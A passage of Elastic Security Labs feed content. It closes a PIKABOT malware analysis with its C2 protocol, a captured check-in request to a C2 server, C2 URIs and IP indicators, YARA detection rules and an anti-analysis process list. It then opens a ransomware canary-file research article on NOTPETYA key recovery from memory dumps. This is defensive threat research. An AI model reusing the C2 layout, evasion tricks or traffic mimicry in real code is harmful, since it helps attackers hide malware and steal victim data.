<li>New style of obfuscation with fewer in-line functions</li>
<li>Multiple implementations for decrypting strings</li>
<li>Plaintext configuration at runtime, removal of JSON format</li>
<li>Network communication uses RC4 plus byte swapping, removal of AES</li>
</ul>
<h3>Obfuscation</h3>
<p>One of the most apparent differences is centered around the obfuscation of PIKABOT. This version contains a drastically less obfuscated binary but provides a familiar feel to older versions. Instead of a barrage of in-line RC4 functions, there are only a few left after the new update. Unfortunately, there is still a great deal of obfuscation applied to global variables and junk instructions.</p>
<p>Below is a typical example of junk code being inserted in between the actual malware’s code, solely to extend analysis time and add confusion.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image18.png" alt="Obfuscation using global variables" /></p>
<h3>String Decryption</h3>
<p>As mentioned previously, there are still some in-line RC4 functions used to decrypt strings. In previous versions, the core used base64 encoding as an additional step in combination with using AES and RC4 to obscure the strings; in this core version, we haven’t seen base64 encoding or AES used for string decryption.</p>
<p>Here’s an instance of a remaining in-line RC4 function used to decrypt the hardcoded mutex. In this version, PIKABOT continues its trademark use of legitimate strings as the RC4 key to decrypt data.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image12.png" alt="In-line RC4" /></p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image16.png" alt="String decryption using RC4 with benign strings" /></p>
<p>In this new version, PIKABOT includes a different implementation for string obfuscation by using stack strings and placing individual characters into an array in a randomized order. Below is an example using <code>netapi32.dll</code>:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image22.png" alt="Stack string placement using netapi32.dll" /></p>
<h3>Anti-debugging</h3>
<p>In terms of anti-debugging in this version, PIKABOT checks the <code>BeingDebuggedFlag</code> in the PEB along with using <code>CheckRemoteDebuggerPresent</code>. In our sample, a hardcoded value (<code>0x2500</code>) is returned if a debugger is attached. These checks unfortunately are not in a single place, but scattered in different places throughout the binary, for example right before network requests are made.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image9.png" alt="Debugger check" /></p>
<h3>Execution</h3>
<p>Regarding execution and overall behaviors, PIKABOT’s core closely follows the execution flow of older versions. Upon execution, PIKABOT parses the PEB and uses API hashing to resolve needed libraries at runtime. Next, it validates the victim machine by verifying the language identifier using <code>GetUserDefaultLangID</code>. If the <code>LangID</code> is set to Russian (<code>0x419</code>) or Ukranian (<code>0x422</code>), the malware will immediately stop its execution.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image26.png" alt="Language check" /></p>
<p>After the language check, PIKABOT creates a mutex to prevent reinfection on the same machine. Our sample used the following mutex: <code>{6F70D3AF-34EF-433C-A803-E83654F6FD7C}</code></p>
<p>Next, the malware will generate a UUID from the victim machine using the system volume number in combination with the hostname and username. PIKABOT will then generate a unique RC4 key seeded by <code>RtlRandomEx</code> and then place the key into the config structure to be used later during its network communications.</p>
<h3>Initial Collection</h3>
<p>The next phase involves collecting victim machine information and placing the data into a custom structure that will then be encrypted and sent out after the initial check-in request. The following actions are used to fingerprint and identify the victim and their network:</p>
<ul>
<li>Retrieves the name of the user associated with the PIKABOT thread</li>
<li>Retrieves the computer name</li>
<li>Gets processor information</li>
<li>Grabs display device information using <code>EnumDisplayDevicesW</code></li>
<li>Retrieves domain controller information using <code>DsGetDcNameW</code></li>
<li>Collects current usage around physical and virtual memory using <code>GlobalMemoryStatusEx</code></li>
<li>Gets the window dimensions using <code>GetWindowRect</code> used to identify sandbox environments</li>
<li>Retrieves Windows OS product information using <code>RtlGetVersion</code></li>
<li>Uses <code>CreateToolhelp32Snapshot</code> to retrieve process information</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image23.png" alt="Victim information retrieved such as username, computer name, etc" /></p>
<h3>Config</h3>
<p>One strange development decision in this new version is around the malware configuration. At runtime, the configuration is in plaintext and located in one spot in memory. This does eventually get erased in memory. We believe this will only temporarily last as previous versions protected the configuration and it has become a standard expectation when dealing with prevalent malware families.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image4.png" alt="Configuration in plaintext at core runtime" /></p>
<h3>Network</h3>
<p>PIKABOT performs network communication over HTTPS on non-traditional ports (2967, 2223, etc) using User-Agent <code>Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)</code>. The build number of the PIKABOT core module is concatenated together from the config and can be found being passed within the encrypted network requests, the version we analyzed is labeled as <code>1.8.32-beta</code>.</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image10.png" alt="New PIKABOT version on the stack" /></p>
<p>On this initial check-in request to the C2 server, PIKABOT registers the bot while sending the previously collected information encrypted with RC4. The RC4 key is sent in this initial packet at offset (<code>0x10</code>). As mentioned previously, PIKABOT no longer uses AES in its network communications.</p>
<pre><code>POST https://158.220.80.167:2967/api/admin.teams.settings.setIcon HTTP/1.1
Cache-Control: no-cache
Connection: Keep-Alive
Pragma: no-cache
Accept: */*
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.8
User-Agent: Microsoft Office/14.0 (Windows NT 6.1; Microsoft Outlook 14.0.7166; Pro)
Content-Length: 6778
Host: 158.220.80.167:2967

00001a7600001291000016870000000cbed67c4482a40ad2fc20924a06f614a40256fca898d6d2e88eecc638048874a8524d73037ab3b003be6453b7d3971ef2d449e3edf6c04a9b8a97e149a614ebd34843448608687698bae262d662b73bb316692e52e5840c51a0bad86e33c6f8926eb850c2...
</code></pre>
<p><em>PIKABOT initial check-in request</em></p>
<p>For each outbound network request, PIKABOT randomly chooses one of the following URI’s:</p>
<pre><code>/api/admin.conversations.convertToPrivate
/api/admin.conversations.getConversationPrefs
/api/admin.conversations.restrictAccess.removeGroup
/api/admin.emoji.add
/api/admin.emoji.addAlias
/api/admin.emoji.list
/api/admin.inviteRequests.approved.list
/api/admin.teams.admins.list
/api/admin.teams.settings.setIcon
/api/admin.usergroups.addTeams
/api/admin.users.session.reset
/api/apps.permissions.users.list
</code></pre>
<p><em>List of URI’s used in PIKABOT C2 requests</em></p>
<p>Unlike previous versions by which victim data was placed in a structured format using JSON, the data within these requests are raw bytes. The first 16 bytes are used to pass specific config information (bot command ID, byte shift, etc). The next 32-bytes embed the RC4 key for the session where then the encrypted data is followed in the request.</p>
<p>There is one additional transformation where the developers added a random shift of bytes that occurs at runtime. This number (<code>0x18</code>) at offset (<code>0xF</code>) in the example request below represents the number of bytes to shift from the end of the encrypted data to the start of the encrypted data. In our example, to successfully decrypt the data, the last 18 bytes would need to be placed in front of bytes (<code>0xDA 0x9E</code>).</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/image20.png" alt="Hex view of network request on initial check-in" /></p>
<h3>Bot Functionality</h3>
<p>In terms of the core bot functionality, it is similar to previous versions:  executing commands, performing discovery, as well as process injection capabilities. From our perspective, it still seems very much like a work in progress. One command ID (<code>0x982</code>) is an empty function, in another case, there are three unique command ID’s pointed to the same function. These indicate that this software is not quite complete.</p>
<table>
<thead>
<tr>
<th>Command ID</th>
<th>Description</th>
</tr>
</thead>
<tbody>
<tr>
<td>0x1FED</td>
<td>Beacon timeout</td>
</tr>
<tr>
<td>0x1A5A</td>
<td>Exits the PIKABOT process</td>
</tr>
<tr>
<td>0x2672</td>
<td>Includes obfuscation, but appears to not do anything meaningful</td>
</tr>
<tr>
<td>0x246F</td>
<td>Creates file on disk and modifies registry tied to configuration</td>
</tr>
<tr>
<td>0xACB</td>
<td>Command-line execution with output</td>
</tr>
<tr>
<td>0x36C</td>
<td>PE inject in a remote process</td>
</tr>
<tr>
<td>0x792</td>
<td>Shellcode inject in a remote process</td>
</tr>
<tr>
<td>0x359, 0x3A6, 0x240</td>
<td>Command-line execution similar to 0xACB, uses custom error code (0x1B3)</td>
</tr>
<tr>
<td>0x985</td>
<td>Process enumeration, similar to initial victim collection enumeration</td>
</tr>
<tr>
<td>0x982</td>
<td>Empty function</td>
</tr>
</tbody>
</table>
<h3>Malware and MITRE ATT&amp;CK</h3>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.</p>
<h4>Tactics</h4>
<p>Tactics represent the <em>why</em> of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0001">Initial Access</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h4>Techniques</h4>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1566/">Phishing</a></li>
<li><a href="https://attack.mitre.org/techniques/T1204/001/">User Execution: Malicious Link</a></li>
<li><a href="https://attack.mitre.org/techniques/T1620/">Reflective Code Loading</a></li>
<li><a href="https://attack.mitre.org/techniques/T1082/">System Information Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1055/">Process Injection</a></li>
<li><a href="https://attack.mitre.org/techniques/T1573/">Encrypted Channel</a></li>
</ul>
<h2>Detecting malware</h2>
<h3>Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_network_module_loaded_from_suspicious_unbacked_memory.toml">Network Module Loaded from Suspicious Unbacked Memory</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_memory_write_to_a_remote_process.toml">Suspicious Memory Write to a Remote Process</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_suspicious_remote_memory_allocation.toml">Suspicious Remote Memory Allocation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/defense_evasion_process_creation_with_unusual_mitigation.toml">Process Creation with Unusual Mitigation</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">Windows.Trojan.PikaBot</a></li>
</ul>
<h4>YARA</h4>
<p>Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify <a href="https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_PikaBot.yar">PIKABOT</a>:</p>
<pre><code>rule Windows_Trojan_Pikabot_5441f511 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT core&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $handler_table = { 72 26 [6] 6F 24 [6] CB 0A [6] 6C 03 [6] 92 07 }
        $api_hashing = { 3C 60 76 ?? 83 E8 20 8B 0D ?? ?? ?? ?? 6B FF 21 }
        $debug_check = { A1 ?? ?? ?? ?? FF 50 ?? 50 50 80 7E ?? 01 74 ?? 83 7D ?? 00 75 ?? }
        $checksum = { 55 89 E5 8B 55 08 69 02 E1 10 00 00 05 38 15 00 00 89 02 5D C3 }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $read_xbyte_config = { 8B 43 04 8B 55 F4 B9 FC FF FF FF 83 C0 04 29 D1 01 4B 0C 8D 0C 10 89 4B 04 85 F6 ?? ?? 89 16 89 C3 }
    condition:
        2 of them
}

rule Windows_Trojan_Pikabot_95db8b5a {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2024-02-15&quot;
        last_modified = &quot;2024-02-15&quot;
        license = &quot;Elastic License v2&quot;
        description = &quot;Related to PIKABOT loader&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.PIKABOT&quot;

    strings:
        $syscall_ZwQueryInfoProcess = { 68 9B 8B 16 88 E8 73 FF FF FF }
        $syscall_ZwCreateUserProcess = { 68 B2 CE 2E CF E8 5F FF FF FF }
        $load_sycall = { 8F 05 ?? ?? ?? ?? 83 C0 04 50 8F 05 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 04 A3 ?? ?? ?? ?? 31 C0 64 8B 0D C0 00 00 00 85 C9 }
        $payload_chunking = { 8A 84 35 ?? ?? ?? ?? 8A 95 ?? ?? ?? ?? 88 84 1D ?? ?? ?? ?? 88 94 35 ?? ?? ?? ?? 02 94 1D ?? ?? ?? ?? }
        $loader_rc4_decrypt_chunk = { F7 FF 8A 84 15 ?? ?? ?? ?? 89 D1 8A 94 1D ?? ?? ?? ?? 88 94 0D ?? ?? ?? ?? 8B 55 08 88 84 1D ?? ?? ?? ?? 02 84 0D ?? ?? ?? ?? 0F B6 C0 8A 84 05 ?? ?? ?? ?? 32 04 32 }
    condition:
        2 of them
}
</code></pre>
<h2>Observations</h2>
<p>All observables are also available for <a href="https://github.com/elastic/labs-releases/tree/main/indicators/pikabot">download</a> in both ECS and STIX format.</p>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th>Observable</th>
<th>Type</th>
<th>Name</th>
<th>Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td><code>2f66fb872c9699e04e54e5eaef982784b393a5ea260129a1e2484dd273a5a88b</code></td>
<td>SHA-256</td>
<td><code>Opc.zip</code></td>
<td>Zip archive holding obfuscated Javascript</td>
</tr>
<tr>
<td><code>ca5fb5814ec62c8f04936740aabe2664b3c7d036203afbd8425cd67cf1f4b79d</code></td>
<td>SHA-256</td>
<td><code>grepWinNP3.exe</code></td>
<td>PIKABOT loader</td>
</tr>
<tr>
<td><code>139.84.237[.]229:2967</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>85.239.243[.]155:5000</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>104.129.55[.]104:2223</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>37.60.242[.]85:9785</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>95.179.191[.]137:5938</code></td>
<td>ipv4-addr</td>
<td></td>
<td>PIKABOT C2 server</td>
</tr>
<tr>
<td><code>65.20.66[.]218:5938</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]157:9785</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>104.129.55[.]103:2224</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>158.220.80[.]167:2967</code></td>
<td>ipv4-addr</td>
<td>PIKABOT C2 server</td>
<td></td>
</tr>
<tr>
<td><code>entrevientos.com[.]ar</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for zip archive</td>
</tr>
<tr>
<td><code>gloverstech[.]com</code></td>
<td>domain</td>
<td></td>
<td>Hosting infra for PIKABOT loader</td>
</tr>
</tbody>
</table>
<h2>References</h2>
<p>The following were referenced throughout the above research:</p>
<ul>
<li><a href="https://www.zscaler.com/blogs/security-research/d-evolution-pikabot">https://www.zscaler.com/blogs/security-research/d-evolution-PIKABOT</a></li>
<li><a href="https://x.com/Cryptolaemus1/status/1755655639370514595?s=20">https://x.com/Cryptolaemus1/status/1755655639370514595?s=20</a></li>
</ul>
<h2>Appendix</h2>
<pre><code>Process Name Checks
tcpview.exe
filemon.exe
autoruns.exe
autorunsc.exe
ProcessHacker.exe
procmon.exe
procexp.exe
idaq.exe
regmon.exe
idaq64.exe


x32dbg.exe
x64dbg.exe
Fiddler.exe
httpdebugger.exe
cheatengine-i386.exe
cheatengine-x86_64.exe
cheatengine-x86_64-SSE4-AVX2.exe


PETools.exe
LordPE.exe
SysInspector.exe
proc_analyzer.exe
sysAnalyzer.exe
sniff_hit.exe
windbg.exe
joeboxcontrol.exe
joeboxserver.exe
ResourceHacker.exe


ImmunityDebugger.exe
Wireshark.exe
dumpcap.exe
HookExplorer.exe
ImportREC.exe
</code></pre>]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/jp/security-labs/assets/images/pikabot-i-choose-you/photo-edited-02.png" length="0" type="image/png"/>
        </item>
        <item>
            <title><![CDATA[Ransomware in the honeypot: how we capture keys with sticky canary files]]></title>
            <link>https://www.elastic.co/jp/security-labs/ransomware-in-the-honeypot-how-we-capture-keys</link>
            <guid>ransomware-in-the-honeypot-how-we-capture-keys</guid>
            <pubDate>Fri, 23 Feb 2024 00:00:00 GMT</pubDate>
            <description><![CDATA[This article describes the process of capturing encryption keys from ransomware using Elastic Defend ransomware protection.]]></description>
            <content:encoded><![CDATA[<h2>TL;DR</h2>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image12.png" alt="Source: https://twitter.com/DebugPrivilege/status/1716890625864564796" /></p>
<p>At Elastic, we have bi-annual ON Weeks, where engineers break into “hack-a-thon” teams to tackle a technical challenge voted on by the team. This article presents the outcome of <a href="https://www.elastic.co/jp/security-labs/deep-dive-into-the-ttd-ecosystem">yet another</a> Elastic ON Week, where we delved into an innovative application of Elastic Endpoint ransomware protection. Our research used our existing ransomware canary protection, deployed since 7.14, to generate memory snapshots (i.e., data collections that record process information) of the process(es) identified as ransomware. Through analysis of these snapshots, our research illustrated how we could recover critical information for the forensics process and even encryption keys, allowing for complete decryption.</p>
<p>This process memory snapshotting mechanism was added starting with Elastic Defend 8.11, allowing DFIR teams to find memory dumps of ransomware flagged by our ransomware protection, all within Elastic Endpoint’s secure installation folder (by default, <code>$ElasticInstallPath\Endpoint\cache\RansomwareDumps</code>).</p>
<h2>Introduction</h2>
<p>In 2024, we don't need to explain what ransomware is or the multibillion-dollar industry it's become or explain how even companies with unlimited budgets struggle to contain or prevent it. These adversaries are mature and efficient, often outpacing security functions like forensic and malware analysis.</p>
<h3>Current state of protection</h3>
<p>Thankfully, over the years, AVs/EDRs have become increasingly better at detecting and preventing ransomware. Among the most common existing mitigations, we find:</p>
<ul>
<li>Static and dynamic detection by signatures: this is usually performed at various levels (through hashes at a file or ELF/PE section level) and file activity (write access to files with high entropy changes) has the advantage of being easily and rapidly implemented, but are also likely to generate false positives</li>
<li>Reverse engineering: Reversing binaries can expose new ways to interfere with execution, as malware authors implement OS-level fail-safes (for instance, through Mutant objects) and/or network fail-safes (like WANNACRY)</li>
<li>Recovery backups: These are not always thoroughly tested, and even if they’re working there is a risk of data loss between the last backup and the moment of infection</li>
<li>Shadow copies: Somewhat similar to recovery backups, ransomware usually actively locates and attempts to destroy them prior to encrypting files on a system</li>
<li>High entropy and rapid file change: This approach is purely experimental and attempts to detect drastic changes in the file content as an indicator of encryption, however, this is also very false positive (FP) prone</li>
<li>Last cryptography weakness: By far the most complex mitigation, as it requires reverse engineering and cryptographic knowledge, but also luck as adversaries hope that the author rolls their own crypto API (see Elastic's Mark Mager <a href="https://youtu.be/0TF9NLsGCHA">2019 DEFCON talk</a> for some examples); this approach can’t work against modern OS native cryptographic APIs as long as they’re properly implemented according to documentation</li>
</ul>
<h3>How ransomware (usually) works, and why it matters</h3>
<p>It is imperative that we know both what we're protecting against and how it internally operates to be effective. This diverse nature underlines that there may never be a universal solution to combat all ransomware strains. Understanding this diversity also emphasizes the importance of our technique, which provides significant insights about ransomware.</p>
<p>From a high level, the sequence of actions that ransomware executes is usually summarized as such:</p>
<ol>
<li><strong>Delivery</strong>: this can be done in several ways, from social engineering to 0-day/1-day vulnerability exploitation. This approach can also rely on weak passwords to remotely infect targets.</li>
<li><strong>C2 Communication</strong>: once the execution starts, the ransomware may communicate with the C2 to exchange configuration and share information about the victim. This step can also leave room for the C2 to have a kill switch in place, preventing further infection</li>
<li><strong>Encryption</strong>: after establishing a cryptographic context, the process recursively browses the file system, looks for files with specific extensions, and encrypts them.</li>
<li><strong>Extortion</strong>: after sharing the decryption keys with the C2, the ransomware will drop a ransom note and (usually very visibly) notify the infected user of its actions and ways to obtain the decryption key. At that point, all cryptographic context allowing recovery may already be lost</li>
<li><strong>Propagation</strong>: if possible, the ransomware may try to infect more systems automatically.</li>
</ol>
<p>However, looking at it at a lower level reveals that ransomware operates quite uniquely: for example, focusing on the delivery step, the notorious <a href="https://www.cisa.gov/sites/default/files/FactSheets/NCCIC%20ICS_FactSheet_WannaCry_Ransomware_S508C.pdf">WANNACRY ransomware</a> spread via a vulnerability in the Windows operating system, known as <a href="https://arstechnica.com/information-technology/2017/04/nsa-leaking-shadow-brokers-just-dumped-its-most-damaging-release-yet/">EternalBlue</a>; whereas <a href="https://malpedia.caad.fkie.fraunhofer.de/details/win.lockbit">LOCKBIT</a> variants tend to infect using phishing emails, exploit kits, or by leveraging compromised Remote Desktop Protocol (RDP) credentials.</p>
<p>During this research, it was mostly the 3rd step that interested us as it is usually where detection and prevention can be most effective, such as with our canary protection.</p>
<h3>Understanding the Canary files feature in Elastic Endpoint</h3>
<p>Originating in Elastic 7.14, Elastic Endpoint ransomware protection uses <a href="https://www.elastic.co/jp/blog/deterring-ransomware-for-state-and-local-government">canary files</a> with the purpose of attempting to honeypot ransomware by (over-)writing some specific files. This provides a high confidence indicator that the culprit process is attempting to encrypt all files.</p>
<p>A canary file acts and looks exactly like any other file - it can have valid content (DOCX, PDF, etc.), hidden, or marked as a system file to avoid user tampering. However, canary files cannot be “fingerprinted” and avoided by ransomware. All of these factors lead to a robust indicator for ransomware access.</p>
<p>Even though canary files are very successful in providing indicators for ransomware, it is hard to be certain on Windows systems that no file has been encrypted <em>before</em> the detection (and, if wanted, termination) occurs. This is not a product defect, it is due to the very structure of how MiniFilters work on Windows. Therefore, even though the attack is thwarted, some files may have been encrypted. Worse, if the process is terminated, the possibility of retrieving the original content may be completely lost.</p>
<p>And this is where our ON Week research began…</p>
<h2>Extending our canary protection to generate process snapshots</h2>
<h3>The basic underlying concept</h3>
<p>The idea behind this first research was as follows:</p>
<ul>
<li>At the kernel level, detect write access attempts to a file with a specific name (our canary)</li>
<li>From userland, generate a process dump of the culprit process attempting the write operation and signal the driver to continue execution as designed</li>
<li>Analyze process dumps</li>
</ul>
<p>With ON Week being limited to one week, this is the initial time frame we had for developing a prototype.</p>
<h3>Implementation</h3>
<h4>In kernel land</h4>
<p>Developing a MiniFilter driver to monitor write access to files with specific names went relatively easily following the well-documented <a href="https://learn.microsoft.com/en-us/windows-hardware/drivers/ddi/_ifsk/">MiniFilter API documentation</a>:</p>
<ol>
<li>Declare the filter table containing the callbacks we want to install, one for write access when invoking <code>NtWriteFile()</code>, and another for when attempting to write to a mapped section</li>
</ol>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image19.png" alt="Registering MiniFilter callbacks for file and section writes" /></p>
<ol start="2">
<li>Create and register the filter, including the file name pattern to monitor and start filtering:
<img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image5.png" alt="Declaring a filename pattern to inspect for the MiniFilter driver" /></li>
</ol>
<p><em>Image 2: Declaring a filename pattern to inspect for the MiniFilter driver</em>
Once our filter is registered to the Filter Manager, write accesses will go through our driver’s callbacks when specific syscalls are triggered: by <code>NtWriteFile</code> when a process attempts to write a buffer to a file, or by <code>NtCreateSection()</code> when a process to create a section with file-backed mappings with write access (<code>SECTION_MAP_WRITE</code>)</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image16.png" alt="Suspending process upon write access detection to the canary file" /></p>
<p>As we can see either action will result in the invoking process being suspended (call to our function <code>SuspendProcessById</code>) allowing a userland process to snapshot its memory. The following video summarizes all those steps:</p>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image2.png" alt="Source: https://youtu.be/U0vCHzN-69w" /></p>
<h3>In user land</h3>
<p>Generating memory dumps is a robust mechanism well anchored into Windows and a significant part of its Error Reporting mechanism - or <a href="https://learn.microsoft.com/en-us/windows/win32/wer/windows-error-reporting">WER</a>. Through simple and explicit API calls, like <a href="https://learn.microsoft.com/en-us/windows/win32/api/minidumpapiset/nf-minidumpapiset-minidumpwritedump"><code>MiniDumpWriteDump</code></a> any user or program may dump (if permission permits) the complete memory layout and content of a target process, along with more information depending on flags passed during invocation such as:</p>
<ul>
<li>handle information</li>
<li>thread information</li>
<li>unloaded module details and more</li>
</ul>
<p>A complete reference list of available types can be consulted <a href="https://github.com/Skulltrail192/One-Core-Api/blob/76729f2108c2afca24d89efc92b814a07b92a62e/dll/win32/dbghelp/compat.h#L914-L931">here</a>.</p>
<p>We decided to use memory dumps, designed for debugging software, to extend our ransomware protection feature's existing canary file capabilities. When ransomware is detected, we generate a complete memory dump before the process is terminated. Using memory dumps against malware has tremendous advantages, including:</p>
<ul>
<li>Revealing the process memory layout, which is particularly useful when packing has obscured the memory regions</li>
<li>Disclosing all memory contents of the process as it is running, including unwiped memory regions since Windows does not immediately erase memory for performance reasons</li>
<li>Providing stable and safe ways to experiment against malware through emulation</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image11.png" alt="Creating the memory dump from the user-mode process" /></p>
<p>Very quickly, we had a stable and reliable way to detect canary write access and generate complete memory dumps of the ransomware triggering them. Due to time constraints, we selected two popular families to test the analysis phase of our project: NOTPETYA and WANNACRY.</p>
<p>The prototype code can be found <a href="https://github.com/calladoum-elastic/canary-driver">here</a> and is not intended for production use. Please experiment at your own risk, using non-production systems.</p>
<h3>Real-life examples</h3>
<h4>Recovering keys from process runtime: the case of NOTPETYA</h4>
<p>Why NOTPETYA? It was a good first candidate because it encrypts all files with one random session key. It also uses strong cryptography:</p>
<ul>
<li>RSA-1024 for the host-level asymmetric encryption key</li>
<li>A unique AES-128 CBC key used for encrypting the files</li>
</ul>
<p>Using the driver and agent crafted above, we could easily have NOTPETYA (SHA1 <a href="https://www.virustotal.com/gui/file/027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745"><code>027cc450ef5f8c5f653329641ec1fed91f694e0d229928963b30f6b0d7d3a745</code></a>) run in a contained environment and get a process minidump at a very predictable runtime location.</p>
<p>Our current design causes the driver to capture the writes synchronously, so we know exactly where we are in the process runtime when analyzing dump files. However, we still needed some reverse engineering to learn exactly how the session keys were generated.</p>
<p>Reversing this NOTPETYA DLL proved to be straightforward, which helped us move quickly:</p>
<ul>
<li>After some initial checks, the DLL attempts to iterate through all the possible drive letters, and for each match (i.e., the letter - such as <code>C:\</code> exists) a <code>0x20</code> thread context will be created to proceed with the encryption</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image4.png" alt="Reversing NOTPETYA encryption steps" /></p>
<ul>
<li>Each thread initializes its own cryptographic context using the Microsoft CryptoAPI; we  note the use of AES-CBC 128 bits</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image14.png" alt="Confirming NOTPETYA’s use of AES 128 CBC" /></p>
<ul>
<li>Encrypts the files recursively (with a maximum recursion level of 15), dropping the ransom message and destroying the cryptographic context</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image10.png" alt="NOTPETYA recursive cryptographic context mechanism" /></p>
<ul>
<li>The file encryption itself is performed using file-backed mappings to overwrite files of specifically targeted extensions:</li>
</ul>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image20.png" alt="NOTPETYA file encryption using key from the global context" /></p>
<p>This leaves us with a very basic stack-based structure for the context:</p>
<pre><code>c
struct _THREAD_CONTEXT { /* sizeof=0x20, align=0x4, mappedto_50) */
  /* 00000000 */ WORD lpswzRootPathName[4];
  /* 00000008 */ HANDLE hProvider;
  /* 0000000C */ PVOID field_C;
  /* 00000010 */ LPVOID pBase64Data;
  /* 00000014 */ HCRYPTPROV hKey;
  /* 00000018 */ DWORD field_18;
  /* 0000001C */ HANDLE hFile;
};
</code></pre>
<p>Equipped with that knowledge, we could explore further in the dump. Since we know write accesses were made using <code>kernel32!CreateFileMapping</code>, this means <code>ntdll!NtCreateSection</code> is called, and we can isolate the active thread that triggered the syscall to the canary file:</p>
<pre><code>dx @$curprocess.Threads.Where( t =&gt; t.Stack.Frames.First().ToDisplayString().Contains(&quot;NtCreateSection&quot;) )
</code></pre>
<p><img src="https://www.elastic.co/jp/security-labs/assets/images/ransomware-in-the-honeypot-how-we-capture-keys/image7.png" alt="Retrieving the active thread in the memory dump" /></p>
<p>As explained previously, we’ve isolated the context session and know it’s located in the stack. From the base pointer to the session context, we can retrieve the cryptographic context from the context structure member <code>_THREAD_CONTEXT.hKey</code> located at offset 0x14.</p>
